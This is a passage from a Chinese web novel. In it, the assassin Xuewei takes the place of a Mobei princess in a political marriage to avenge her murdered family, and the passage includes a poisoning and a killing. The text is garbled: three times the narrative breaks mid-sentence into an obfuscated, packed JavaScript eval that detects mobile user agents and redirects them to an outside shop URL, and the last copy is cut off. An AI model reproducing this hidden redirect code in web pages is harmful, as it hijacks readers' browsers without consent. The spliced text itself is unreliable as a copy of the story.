“既然决定好了,那就勇敢的去做吧,不要犹豫,一名合格的杀手,应该是杀伐果断,冷血无情的。”冷禅衣浑然霸气道:“记住师父的话,对敌人仁慈就是对自己残忍,斩草要除根,不要给自己留下任何一个祸根。” “是,弟子警尊师父教诲。” “如果有一天,师父站在了你的对立面,那么,你也要毫不留情的杀了师父,明白了吗?”冷禅衣冷声道:“复仇路上,你必须学会断情绝爱,你的敌人是不会给你下一次接近他的机会。” 雪微思索了许久,忍痛道:“弟子,明白了。” “去吧。” “师父保重,弟子走了。” 雪微跪下,朝着谷内磕了三个响头,北风呼呼的在耳边刮着,今年的冬天比以往似乎冷了许多,她搓了搓手,离开了丹霞谷。 4. 顶替 “少宫主,信使来报,一个月后,漠北月华公主将会前往西晋,与西晋国太子宇文昭成婚。”红袖见雪微淡定自如俯身画着她的白梅,似一切都运筹帷幄,便又说道:“公主有一位情夫,也将会与公主一同前往西晋。” “情夫。”雪微微微一笑,手中的毛笔轻轻落下:“看来这位公主是想在途中趁机携带她的这位情夫出逃了。” 红袖一惊,问道:“少宫主,何以见得?” 雪微沉默了会,一朵白色的梅花在墨纸上面渲染开来,白梅如雪,淡雅无瑕,让人不禁沉醉其中,雪微轻声道:“咱们得推她一把。” “红袖,你传信给锦瑟,让她把漠北的这位月华公主给我盯紧了。” “是。”跟在少宫主身边八年了,红袖永远都琢磨不透少宫主内心的想法,这一次,她谨慎的闭上了嘴巴,不敢多问,也不能多问。 她很庆幸自己能够留在少宫主的身边,少宫主和七杀殿的其他人不一样,她看起来冷血无情,相处久了,骨子里,还是多了点余温。 ...... “小姐,我们已经抵达了茶古镇,这里是漠北与西晋的边界,月华公主的车队三日后就会途径茶古镇。”出门在外,红袖经常称呼雪微为小姐,除了掩人耳目之外,红袖称呼雪微为小姐,总觉得亲切了不少。 红袖虽然大雪微三岁,但雪微看起来却比红袖成熟不少,这种成熟的背后,即使雪微不说,红袖心里也知道,一定和她的家人有关。 她们在镇上找了个安静的客栈落脚,北风越刮越猛,雪微拿起茶壶给自己泡了杯九曲红梅,幽幽冷香,傲骨寒梅,明亮红艳的茶汤上方萦绕着清新淡雅的梅花香,入口绵滑似绸,清润悠长。 她找了个靠窗户的位置坐下,推开窗户,街道上的行人甚少,来往的基本都是做生意的商户。 漠北的冬天,比起中原来说,显得更加的漫长。 她掩嘴,轻咳几声,嗓子有些干痒,那年冬天,也是这样的漫长,她在雪域崖底呆了三年,在一次攀爬雪山的时候,手滑,一不小心,从半山腰跌落到寒潭之中,昏迷了好几天,等她醒过来的时候,浑身上下早已结满了冰,自此,她身上便落下了这咳嗽的老毛病。 “小姐,别着了凉。”红袖拿出一件斗篷轻轻地披到雪微的肩上,“锦瑟传信说他们离这里还有三十公里,明晚就会到长亭客栈留宿。” 雪微看着窗外的街景,夜色越来越黑,街道上连一个行人都没有,她点了点头:“红袖,我没事,你先去休息吧,有事我会找你。” 红袖也点了点头,便退出了房间。 七杀殿的每一位杀手都有不简单的过往,他们自小便被关在一个漆黑的房间里,说是房间,其实和笼子无异,红袖曾经也是在黑暗的房间里面呆了一年,房间里所有的人都死了,只剩下她活着。 紧接着,她又被关进等级略微高一点的房间,面对比自己强壮的杀手,红袖也曾感到恐惧过,是少宫主出面救下了她,并且提拔她成为了少宫主的贴身侍女。 红袖自认为自己不算是个好人,能够进入七杀殿的人,都是世间极凶之徒,红袖也是一样,她亲手杀了自己的父亲,并被自己的族人驱逐,如果不是走投无路,她又怎么可能会进入七杀殿,她的双手本就沾满了鲜血,多一个少一个,对她来说,无所谓。 ...... “你是谁?”月华双眼死死的盯着雪微,语气充满疑惑:“你来我的房间想干什么?”她从包裹里抽出长鞭,紧握到手上,警告道:“你要是再不说话,我就叫人了。” “叫吧。”雪微摆弄了一下右手,右手手腕上的镯子发出脆耳的铃声,她转头看着眼前神情有些慌乱的月华,邪媚笑道:“没有人会前来救你。” “你想干什么?”月华身体不自觉的往后退了几步,然后,她迅速转身,准备逃离屋外,打开房门的那一刻,月华浑身紧绷,恐惧道:“你。”她指了指桌子,然后回过头来看着眼前离自己不到三米远的雪微道:“我......我们没有仇,也没有怨,我不认识你啊。” “但是我认识你啊,你是漠北的月华公主,只身前往西晋,就是为了嫁给西晋的太子殿下的。”雪微一本正经的胡言乱语道:“可是,我这个人,眼里容不得半点沙子,我爱太子殿下,太子殿下也爱我。” 雪微假装抽噎,上前一步,问道:“你明白吗?这种痛彻心扉的感觉,亲眼看着自己最爱的人,不得已迎娶别的女人,公主?”雪微紧捏着月华的双肩,“同样身为女人,你会理解我的,对吧?” “好说,好说......”月华眉头紧皱,肩上被雪微捏的有些疼,“你先放开我。”她见雪微一点都没有要退让的意思,跺脚道:“我能够理解你,我并不爱太子,和亲是父汗的意思,你也知道,像我们这样的战败国,是没有资格谈条件的。” 她言语苦涩,长叹口气道:“说白了,我也只不过是这场斗争之间的牺牲品。” 雪微轻轻拍了拍月华的肩膀,转眼笑道:“既然你不爱太子,要不,你成全我和太子吧,我们彼此相爱,日后要是能够修成正果,必定会十分感谢你的。” 月华转身,从背影望去,显得极其可怜,她摇了摇头,“不是我不想成全你和太子,只是,我的画像在三个月前就已经送往西晋国了。”她垂下眼眸,心中有些自责:“对不起,请恕我无能无力。” “画像。”雪微想起这事,浅笑道:“放心,你送往西晋国的画像早就被我给调包了,如今,那副画像上面的人是我。” 月华诧异的看着雪微:“你......你......”她言语惊讶的说不出话来。 “我会代替你,成为漠北的月华公主,嫁给西晋的太子殿下。”雪微道:“公主,我成全你,你也成全我吧。” “西晋对公主豢养男宠这件事的下场是十分惨烈的。”她转身若有所思的看着月华公主十分震惊的神情:“如果我成为了漠北的月华公主,那这些,都不是问题。” “这么隐蔽的事情,连我父汗都不知道,你是怎么知道的?”月华不是傻子,自然明白眼前的人看起来不像表面那么简单,她武功高强,速度极快,如果二人单打独斗,月华心中明白,她是绝对打不过此人的。 她怀疑道:“你到底是谁?” 雪微再度转身,黑暗笼罩着她的身体,“我不是说了吗?我和太子殿下很相爱,我们之间容不下任何人。” “不。”月华否认道:“你并不爱太子殿下,你说这些话的时候,语气是冷冰冰的,爱一个人,是装不出来的。” “你,不爱太子殿下,虽然我不知道你接近太子殿下是为了什么,但是,正好给了我一个脱离公主身份的借口。”月色穿透窗户洒到月华的身体上,“爱一个人,是满心期待,是每天都想和他在一起,是看到他,满眼就会觉得幸福。” 雪微冷冷的笑了笑:“爱?” “你觉得幸福,别人可不一定觉得幸福,如果,你没有了公主的身份,他还会不会爱上你?他爱的到底是你的身份还是你这个人?” “当然是我这个人,他亲口告诉过我的,他会一直一直爱我的。”月华言语有些过激:“有一天,你如果真正的爱上一个人,你就会明白的,爱情,才是这个世界上最浪漫的东西。” “好了,我不跟你说了,我要去找我的爱人了,你就好好的做你的公主吧。”月华转身,绕过地面上横七竖八躺着的将士,兴奋的朝着另一侧的房间踏步而去。 “等一下。”雪微闪到月华身旁,月华不小心后退一步:“你,你还想干什么?” “这个给你。”雪微看着月华那张为爱沦陷的脸:“如果有一天,他背叛了你,你就用这个,杀了他。” 月华接过雪微手中的匕首,匕首削铁如泥,在月光下散发着阵阵银光。 “好,多谢了。”她转头再一次对着雪微说道:“永远都不会有这么一天的。” “爱情?”雪微心中觉得好笑,爹爹与王上称兄道弟,结果最后,却被他亲手推下地狱,“什么爱情,什么兄弟情,不过是人心中的一团欲望而已。” . ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892826|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..... “属下拜见少宫主。”锦瑟单膝跪地,微微低头对着雪微行礼。 “起来吧。”一年前,雪微派锦瑟潜伏到月华公主身边,为的就是等待这一天的到来,“从即刻开始,我就是漠北国的月华公主。” “是,公主。” 雪微回到卧室,在箱子里面顺手找了一件颜色淡雅的服饰,漠北人性格豪爽,穿的衣服大多颜色艳丽,雪微找了好一会,总算找到一件颜色不算艳丽的服饰。 “锦瑟,你去把屋外的那群人唤醒,记得,抹掉他们今晚的记忆。” “是,公主。”锦瑟退出屋外。 雪微拿起衣服在自己的身上比划了会,“出来吧。” “小姐。”红袖从帘后走了出来。 “这里有锦瑟,你先到京城的锦绣坊候命。” “是,小姐。” 锦绣坊是京城有名的花楼,雪微当初在京城成立锦绣坊的时候,收留了许多无家可归的女子,她们绝大部分是被亲人胁迫,卖入这里,但锦绣坊有一个特点就是给予她们最大的自由,让她们可以只卖艺不卖身。 “公主,他们已经服下了解药,一个时辰后,就会苏醒。” 雪微点头:“你做的很好。” 锦瑟把队伍中的大致情况都与雪微解说了一遍,便离开了。 月亮静静悬挂在空中,像一只古老的眼睛一样,俯视着大地,雪微静静地坐在窗台旁,把自己沉浸在月色中,仿佛给自己披上了一层朦胧的薄纱。 她回想起自己与父亲一起在月光下看星星的场景,父亲把她抱在怀里,陪她一起数星星,那时候的月亮和今日的月亮一样的圆。 “一颗,两颗,三颗......”雪微看着天空中闪亮的星星,“那是牛郎星。”父亲指着另一颗星星温柔笑道:“那颗是织女星。” “他们中间隔着一条银河,等到每年的七月初七,喜鹊会在银河之上化作一座桥,牛郎和织女便会在天上的鹊桥上相会。” 父亲抚摸着雪微的头发,“等微儿长大了,也会遇到自己的牛郎,到时候,爹爹会亲手把微儿交给他,让微儿成为天底下最幸福的新娘子。” “你又在给她讲这些故事,微儿还小,自然是听不懂这些的。”每次讲到一半,娘亲总会端着一盘雪花糕走过来,椰香浓郁,入口即化,是雪微的最爱。 “也不知是什么样的男子,能够得到微儿的倾心相伴。”父亲叹了口气,拍了拍雪微的小脑袋。 一家人欢声笑语,那样的日子太过短暂,月亮还是那个月亮,一点变化都没有,可是爹,娘,却再也回不来了。 “我再也无法和爹爹娘亲一起在月色下数着星星,吃着雪花糕了。” 雪微看着空中的月亮,“爹,娘,你们为我选择的未婚夫,终究还是娶了别的女人。” “不过没关系,我一定会让那些伤害过我们的人,付出应有的代价,我要用他们的鲜血去祭奠那些被他们杀死的族人,让他们去地下,亲自给你们赔罪。” ...... “公主,还有一天,我们就会抵达西晋都城。”赫连将军站在车架外对着雪微行礼,他来自赫连部族,英勇善战,在部落中,大家都称呼他为巴图尔将军,他是漠北最好的勇士。 雪微掀开帘子,朝着落日的方向看了会,红霞碎开,奇光异彩,云层如同火烧般,无比绚烂,“巴图尔将军,有礼了。” 她侧头看了看车驾后面的将士:“大家辛苦了,今日,就在此地扎营,明日一早,我们再动身前往西晋都城。” 赫连将军笑道:“多谢公主。” 他向后方走了几步,回望了车驾,神色略有所疑,心中不免想道:“这几日,公主似乎安分了许多,待人也和蔼不少,难不成是想通了?” “如果不是战败,堂堂漠北又怎会利用一个女人前来和亲。”巴图尔心中郁结难消,“总有一天,我会让你们西晋好好瞧瞧,我们漠北可不是好欺负的,等我们修养一段时间,本将军一定要重新夺回我们失去的土地。” 5. 嘲讽 远远望去,城门口无一人迎接,赫连将军一看,脸色立刻一沉。他们的车队还未到城门口,就被一群西晋的士兵围了起来,领头的将军对着赫连将军讽刺道:“巴图尔,没想到吧,你也会有如此落魄的一天。” 他满脸鄙夷的看着巴图尔,言语讽刺道:“要想进入我朝都城。” “你,必须从我的马下钻过去。”周围的西晋士兵看着巴图尔讥笑起来,大声道:“钻过去,钻过去。”他们手举着西晋的大旗,摇旗呐喊着。 “刘子义,你这个卑鄙无耻的奸诈小人,当初,你只不过是使用奸计侥幸赢了我,有本事,我们再来一场决斗。”巴图尔暴跳如雷,脸红脖子粗的。 刘子义狂笑,俯首审视着巴图尔:“你想与本将军决斗,还没那个资格。” “你。”巴图尔拔出大刀。 “巴图尔将军。”雪微掀开帘子,冷冰冰的声音从马车里面传了出来,“别忘了,我们从漠北大老远来到西晋是做什么的?” 这声音如冰冷的寒水一般,瞬间浇灭了巴图尔心底的愤恨。 他忍声道:“我跨。” “早知如此,何必这样呢?”刘子义叹惜道:“现在,你不仅要从我的马下跨过去,还要从我的□□跨过去。” “你......”巴图尔嘴角浮起一抹微笑,强忍内心的愤怒,大声道:“我跨。” “这样才对嘛。”刘子义一副小人得志的模样。 他踩着巴图尔的后背,“你永远只配被我踩在脚底下,就如你们漠北一样,被我们打得落花流水。” 巴图尔艰难的从地上爬了起来,心中默默想道:“我巴图尔发誓,总有一天,我会把今日所受的屈辱,加倍奉还。” ...... 这座驿站看起来不知荒废了多久,里面四处都布满了蜘蛛网,灰尘无处不在,巴图尔脸色铁青,没好气道:“狗杂种,那么多驿站,为何偏偏把我们安排在如此破败的驿站居住,这不是明摆着欺负我们吗?” 雪微站在一堆废墟前,她知道,这是西晋给漠北的下马威,是胜利者对战败国的一种嘲讽。 “我要找他们王上讨要一个说法。”巴图尔气的直跺脚。 雪微面无表情的看着眼前的巴图尔,“巴图尔将军,别忘了我们此行来的目的。”她并不是在意此行的目的,只是希望巴图尔别搅乱了她的计划。 “我知道。”巴图尔此时注意到了雪微,他来到雪微身旁,左右看了看,又摇了摇头:“公主,你能够沉得住气?”他心想:“从漠北到西晋才一个多月,怎么公主看起来却和一个月前大不一样了,她沉着冷静,遇到事情总是一副心不惊肉不跳的模样,漠不关心。” “这是我们的公主吗?才一个月而已,怎么变化这么大?” 雪微察觉到巴图尔的目光,冷笑道:“巴图尔将军这是怎么了,怎么一直盯着本宫看呢?” “没......”巴图尔察觉自己的行为有些不妥,他连忙低下头,“公主,请恕在下无礼,在下只是觉得好奇。” “好奇?”雪微冰冷的眼神从巴图尔的身上一扫而过,咧嘴笑道:“我们是战败国,难道将军还指望他们把我们当做座上宾一样对待吗?” 她淡漠的眼神飘向远方,又道:“巴图尔将军,你应该要学会忍耐,并且记住今日所受的一切屈辱,总有一天,我们要像他们全都讨回来。” “只有成为胜利的一方,才有资格在牌桌上方,有说话的权利,战败国是没有任何权利的,只能任人宰割。” 巴图尔看了看眼前的公主,总觉得面纱下的公主变得有些陌生了,这是一个整天只知道玩闹的公主能够说出来的话吗?但不论如何,她说的都对,“只有战胜他们,我才能够把今日所受的屈辱全部讨回来,这事关一个战士的尊严。” ...... 西晋的皇城看上去无比的奢华,巴图尔走在官道上,感到大为震惊,天府之国果真传言不假,他环顾四周,心中暗自想道:“要是我们漠北也有这样的财力,这一战,我们绝不会输。” “漠北国月华携带使臣巴图尔,参见陛下。”雪微和巴图尔对着西晋国王上行使着漠北国的礼节。 “平身。” “谢陛下。” 西晋王扫视了一眼众位大臣,微微笑道:“漠北国月华公主前往我朝和亲,众位爱卿,你们怎么看?” 巴图尔笑道:“我朝月华公主是大汗的掌上明珠,如今前来与西晋太子和亲,缔结良缘,希望两国能够友好交往,互惠互利。” “太子?”众位大臣议论纷纷,户部尚书李尚书一副嫌弃的神情:“你们只不过是战败国,还妄想与太子和亲。” 巴图尔对着李尚书怒怼道:“这是一开始就订好的盟约。” 他看了看王座上的西晋王,但西晋王始终沉默不语,旁观着各位大臣与巴图尔斗智斗勇。 雪微算是看明白了,西晋王从来都没有打算让漠北与西晋太子联姻,她冷笑一番,早该想到西晋王就是个背信弃义的小人,就像当初背弃了她父亲一样。 吏部左侍郎一副蔑视的嘴脸:“不管有没有盟约,你们漠北只不过是个战败国,是不可能与我朝太子联姻的,我看要不从陛下的几位皇子中调选一个,反正都是陛下的皇子嘛,也差不了多少,对不对?” “户部,吏部。”雪微看着他们之间相互较劲,大概猜到,户部与吏部怕早已经是太子亲信。一个掌管户籍,赋税与财政,一个掌管文职官员的筛选,看来太子野心不小。 “对”,众大臣异口同声。 “二皇子已经成婚,三皇子嘛,也有了婚约,适婚年龄段的好像只有五皇子。”李尚书道:“王上,五皇子也到了该成婚的年纪了。” 西晋王点了点头,“李爱卿说得对,昌儿确实到了该婚配的年纪。”他想了想,对着雪微笑道:“月华公主,孤的昌儿也不错,要不,孤给你与昌儿赐婚,你意下如何?” 巴图尔气急:“说好的太子,怎么变成五皇子了,你们这是欺负我们漠北国。” “欺负你怎么了,一个战败国,还敢如此猖狂,也不看看你现在站在谁的地盘上。” “我们乃是礼仪之邦,自然不会与一些粗鄙之人见状。” “请闭上你的嘴巴吧。” 众位大臣纷纷与巴图尔互怼。 西晋王开口道:“月华公主,你觉得如何?” “五皇子。”雪微心中冷笑:“一个双膝残废,终身只能卧躺的废物皇子,要不是她早已经了解这一切,怕是又要被他们忽悠了。” 不过那又怎么样呢?她如果想要留在京城,那么她就必须需要一个身份,太子妃的身份太过于耀眼,反倒是这位五皇子妃的身份...... 雪微想了想,对着西晋王笑道:“一切任凭王上做主。” “好。”西晋王欣慰的笑了笑。 李尚书对着巴图尔一顿嘲讽:“还是你们漠北的公主明事理。” 西晋王道:“即日起,封五皇子为庆安王,三日后,迎娶漠北月华公主。” “谢陛下。” 回驿站的途中,巴图尔心中怒气难消:“公主,他们就是明目张胆的欺负我们,这口气,我实在是咽不下了。” “咽不下又如何。”雪微道:“毕竟是我们打了败仗,有求于他们。” 巴尔图低下头,心中默想,“总有一天我会再次回到这里,出了这口恶气。” 他一刻也不想在此处停留,于是对着雪微道:“公主,末将的使命已经完成,今日就准备回去了。” 雪微点了点头:“那就祝将军一路顺风。” 巴尔图转身再次看了看这座虚伪的王城:“迟早有一天,我会再次站在这里,已胜利者的姿势。” ...... 夜色渐浓,宇文昭正襟危坐在案台前,顶着摇拽的烛光,正在批阅奏章。此时一位身穿黑色斗篷的女人推开房门,迎面走了进来。 三月开春,天气也逐渐暖和了起来,微风拂过,案台一侧的美人图被吹落到地面上。女人走了过去,俯身,正准备捡起地上的美人图,此时,宇文昭环手搂腰,该女子重心不稳,跌落到宇文昭的怀中。 “菲儿,我好想你。”他把整颗头靠在雨菲的肩膀上,轻轻吻了吻雨菲的下巴。 “这么久,你都不来看我,你有没有想我?”他语气十分的温柔,心跳加速,空气中弥漫着紧张的气息,“我想你了。” “我也想你了。”雨菲看着眼前这个男人的眉眼,手指从他的脸颊滑落到他滚动的喉结,“你要成亲了吗?” 她心底醋道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892827|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“是和漠北的那位公主吗?” 宇文昭脸上浮起了一丝笑容,心中突然泛起一丝微甜,“她难道是吃醋了。” 雨菲看着宇文昭脸上那副邪媚的笑意,难道宫中传言太子即将迎娶漠北的月华公主,是真的了。 “你不爱我了吗?” “爱。” “既然爱我,你为何要娶别的女人?”她的眼眶中含满泪水,看起来楚楚可怜,但眼眸中又透露出一股不服输的狠劲。 “我不要你娶别的女人。” “好,你说不娶就不娶。”声音还是那么低沉而富含磁性,“此生,你才是我的妻子。” 她面带微笑的点了点头,横扫了一眼桌上的美人图,“这些都是陛下给你选的美人?” 宇文昭眉头微皱,紧紧的搂住雨菲的腰身,“父王想要我成亲,即使不是那位和亲公主,太子妃也要从这些女子中选取。” 他轻轻喘了口气,“你知道的,这不是我想要的。” “我想要的,从来都只有你”他的呼吸渐渐急促起来,如同四处窜动的小火苗般,不停的跳跃。 凤在上,龙在下,这样的感觉十分的畅快。 “如果你想拥有我,那就努力的爬上王位,凤凰只能与真龙相配。”雨菲躺在宇文昭的怀中,“你只有成为真正的王,才配拥有我。” 她起身,拿起案台上的美人图,看了许久,“就她吧,太子妃不需要样貌太美的。” “好。” 宇文昭看着她手中那张长满斑点的美人图,心中窃喜:“看来她还是在意我的,所以连太子妃的人选,都往最丑的选。” ...... “少宫主,属下探听消息有误,请少宫主责罚。”锦瑟单膝跪地,一脸严肃的神情。 “这不怪你。”雪微俯首扶起锦瑟:“我早该想到,和亲只不过是西晋王的一个幌子,他的主要目的是想尽快结束战争,并没有打算让太子与漠北公主和亲,西晋的太子妃是绝不会落到一个异族人手中的。” 锦瑟问道:“少宫主,接下来,我们该怎么做?” “嫁给庆安王。” 马车从一个僻静的巷子里穿过,雪微静静地坐着,她掀开帘子,这条街以前十分热闹,街道两旁也摆满了摊位,可如今,那些摊位早已人走茶凉,落魄了许多。 “停车。” 雪微告诉锦瑟自己想一个人走走,她记得这里有一家摊位,那家老板的夫人去世的早,他一个人带着女儿在这里卖煎饼,摊位上的炉子,厨具都积满了厚厚的灰尘,可是老板以及他女儿却已经离开了,可见他们走得十分着急,着急得连收拾行李都没来得及。 雪微一时有些恍惚,幼时,她总是缠着爹爹,要爹爹带着她来买这家的煎饼,并不是这家的煎饼好吃,而是她觉得那个女孩子从小没有了娘亲,好可怜。 她往前走了几百步,破败的门楣,长得快和人一般高的杂草,“爹,娘,微儿回来了。”她正想得出神,一位婆婆右手拄着拐杖,左手拧着一个菜篮子,“姑娘,此地有邪气。” “十三年前,这里三百多口人,一夜之间被大火全部都吞没了。” 她双眸带着些许恐惧,“听我的,不要靠近这里,别被邪祟沾了身。” “多谢婆婆提醒。”雪微笑了笑,转身便离开了。 白日里人多,贸然前去,势必会被有心人看见,刚才那位婆婆表面上看上去是好心提醒,实则是不想让她进去,雪微隐去脸上的笑容,十三年过去了,难道这里还有人在监守?复仇这条路,她不得不谨慎。 微风拂过,雪微的头发丝吹得有些凌乱,她穿上一身黑色的夜行衣,黑夜是最好的掩饰,特别适合去做一些见不得光的事。 她纵身一跃,十三年前的那场大火历历在目,雪微翻墙而入,绕过废弃的后花园,来到庭院之中,突然跪了下去,泪水模糊了她的双眼,“爹,娘,请你们原谅女儿。” “原谅女儿不孝,十三年了,我离开整整十三年了。” 雪微看着院中那颗曾经被烧废的大树,连大树都可以重新焕发生机,她心里感到愤怒,仇恨的力量在她的心底飞速生长。 “被大火吞没了。” “真是可笑。” “血海深仇,灭族之恨,只能用鲜血来浇灌。” 6. 惩罚 “说好的三日后成婚,却无一个人前来接亲。”锦瑟紧咬嘴唇,心中十分不畅快:“少宫主,眼下庆安王府没有派人前来,他们也太瞧不起我们了。” 她顿了顿:“要不,我们杀过去。” 雪微看着镜中的自己,嘴角微微一笑:“不急。” 时间一点一点的流逝,直到太阳即将落山,黑夜即将来临。 “有人吗?” “我是庆安王府管家,前来接王妃回府。” “少宫主,他们来了。”锦瑟言语中充满不屑,就凭你们这些人,还想给少宫主下马威,简直是活腻歪了。 她翻了翻白眼,七杀殿有一个传说,得罪任何人都不能得罪少宫主,要不然,怎么死的都不知道。她朝着大门看了看,一种大难临头的感觉由心底滋生。 “开门吧。”雪微面无表情,浑身散发着寒意。 “是。” 锦瑟十分紧张,少宫主之所以让人感到如此危险,是因为她的心机十分深沉,没有任何人能够猜到她心中的打算。 她运筹帷幄的本领,甚至比宫主都还要高上几分,她的手底下从无败仗,没有她杀不了的人。 “属下名叫王志鹏,是庆安王府的管家。”王管家大摇大摆的走了进来,浑身透露着一股子傲气:“王妃,好好收拾一下,跟着属下回府吧。” 雪微充耳不闻,无动于衷的看着镜子里面的自己。 王管家见状,忍无可忍道:“王妃,王爷在府中等您,请您快速收拾一番,跟属下回府吧。” “回府?”雪微一脸嫌弃道:“本宫乃堂堂漠北公主,大汗最宠爱的女儿,你只不过是一个奴才,居然也胆敢对着本宫大呼小叫。”她侧头,眼神冷冰冰的看着王管家,“西晋的奴才就是这么的不懂规矩吗?” 她又道:“今日,就算闹到王上那里,本宫也一定要讨要一个说法。” 王管家瞬间身体瘫软,探子回禀,不是说漠北的这位公主,性子柔弱可欺,被太子退婚,被迫才勉强嫁给庆安王的,怎么如今,变了一副模样。 他沉默的想了片刻,王上赐婚,眼下如果因为这事闹到王上那里,只怕是吃不了兜着走,大家都知道庆安王瘫痪在床,府中的一切大小事务都由他做主,今日傍晚前来接亲,本就是为了给这位漠北公主一个下马威,只是没有想到,这位公主性子极烈。 他双手紧握成拳,笑了笑,轻声道:“月华公主,王爷派属下前来接公主入府,还请公主好好准备一番,随在下回府吧。” “既然王管家都这么低声下气的求本宫了,那本宫也不能博了你的面子。”雪微漆黑的眼眸,不带一丝感情,冷冰冰的看着王管家。 “锦瑟。” 锦瑟扶起雪微,径直的往轿子方向走去。 ...... 夜里漆黑一片,只剩萤星点点。王管家讥笑一声,心中暗自想道:“一个女子而已,居然敢对我大呼小叫,看我今晚不给你一点颜色瞧瞧。” 他带着轿夫急匆匆的往黑暗之中走去。 路越走越偏僻,不像是往王府方向去。 “愚蠢。”锦瑟嘴角上扬,心中不免为这位王管家难受起来,想要戏弄少宫主,就凭你这点本事,怕是只会让自己大难临头。 ...... “你想要做什么?”雪微从轿子里缓缓走了下来,月色洒落到她身上,如同死神般审视着王志鹏:“本宫想要做什么,岂是一个奴才能够猜到的。” 一粒黑色的药丸从雪微的手尖飞到王志鹏的嘴中:“一点小小的惩罚而已。” “你给我吃了什么?”王志鹏瞪大双眼,心中十分忐忑,早知道这位漠北公主身怀武功,就不应该前去招惹她,现如今,反倒把自己陷入死局之中。 “你不能杀我,我是庆安王府的管家,我不能死。”他的眼眸中充满了恐惧。 雪微抿了抿嘴唇,“我没想过杀你,只不过......”她面色一沉,笑道:“你会记住今日的教训,且永生难忘。” “我......我......我怎么了。”王志鹏面目扭曲,在月色下看起来十分狰狞,“我的手......我的脚......”他的意识逐渐麻木。 “从今以后,我就是你的主人。”雪微面露怒色:“没有人能够违抗我的命令。” 王志鹏看着眼前的这个女人,心里充满了愤怒,恐惧与绝望,他很清楚的知道,如果自己不答应她,那么今日便会陷入万劫不复。身体如同万蚁穿心般任人宰割:“答应她......答应她......”求生的欲望此刻在脑海中呼吁着他。 “我......答应......”他吞吞吐吐道:“主人。” “很好。”雪微对他的表现十分的满意,她晃动了一下手腕上的银镯,“记住,今夜的教训,如果你想背叛我,那么下场只会比现在还要更加惨烈。” “是。”王志鹏身体瘫软的跪倒在地上,刚才一瞬间,他看到了濒死挣扎的自己,没有什么比死,让人感到更加的恐惧。 “我需要一间安静的院子,记住,不要让任何人前来打扰我。”雪微身穿红色的喜服,在月色下,显得十分诡异。 ...... 清晨,雪微正在案台旁俯首书写书信,窗外的鸟儿飞来飞去,叽叽喳喳的叫着。此时,一道奇怪的声音突然传入雪微的耳中,像是念经。 “锦瑟,去看看,怎么如此吵闹?” “是。” “天地玄宗,驱邪缚魅,保命护身,心神安宁,太上老君急急如律令。” 一道符咒从法师的袖口中飞了出来。 锦瑟不免调侃道:“雕虫小技,也敢在我眼皮子底下卖弄。” 她对着王志鹏道:“王管家,你怕是活腻歪了,打扰了王妃休息,你担待的起吗?” “还不速速叫他们撤下。”她的眼底透出一股子杀意,这愚蠢的家伙,竟然还敢公然作对,真是好了伤疤忘了疼。 “继续......继续......你们继续,我没叫你们停下来,你们就不要停下来。”王志鹏端起碗把符水一饮而尽,“府中来了妖邪,还请锦瑟姑娘转告王妃,属下近日要把这些邪魅驱赶出去。” “一个女人,还想让我听命于你,看我怎么收拾你。”王志鹏转身,神色十分得意。 刚得意没多久,一口鲜血喷涌而出,“我的手,我的脚。”紧接着,他浑身无法动弹,身体止不住的颤抖,“冷......” “热......” “死人了,死人了。” “恶鬼杀人了。” 锦瑟挑眉,看着地上躺着一动不动的王志鹏,“千不该万不该,你就不应该得罪少宫主。”她摇了摇头,觉得十分可惜。 昨日少宫主有意放了王志鹏一码,本没打算取他的性命,可他偏偏觉得自己命硬,非要与少宫主对着来,真是活该。 “少宫主,王志鹏,死了。”锦瑟低头,见雪微正在一旁画白梅,心中觉得有些奇怪,大雪纷飞,白梅绽放,为何,还会有一只鸟栖落道树枝上,难道这鸟不怕冷吗? 雪微转头看了看锦瑟好奇的神情,“这鸟它被冻死在这颗树枝上,所以本宫把它做成了冰雕,你觉得好不好看。” “好看。”锦瑟心底发寒,回想起王志鹏忽冷忽热,最后身体被冻成一个冰雕的场景,杀人的手法有许多,但能够在瞬间隔空把一个人冻成冰雕,从始至终,锦瑟都没有看到少宫主出手,这才是最可怕的。 “锦瑟,你去把罗忠找来,王志鹏死了,那本宫刚好可以找一个更加听话的人当管家。” “罗忠拜见王妃。” “起来吧,从今日开始,你就是王府的管家,记住,你只能听命于我,明白了吗?”雪微冷声道。 她知道,罗忠这几年一直都被王志鹏打压,眼下王志鹏死了,如果此刻,扶持罗忠上位,他必然会感恩戴德,针对他们这种人,利益才是他们唯一的动力。 “只要你以后乖乖替本宫办事,本宫保证,在庆安王府,没有人能够动摇你的地位。” “是,属下愿为王妃鞍前马后,肝脑涂地。” “退下吧。” “属下告退。” 锦瑟想了会,对着雪微道:“少宫主,罗忠是一个小人,为何您放着这么多人不用,却偏偏重用罗忠呢?” 雪微披着一身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 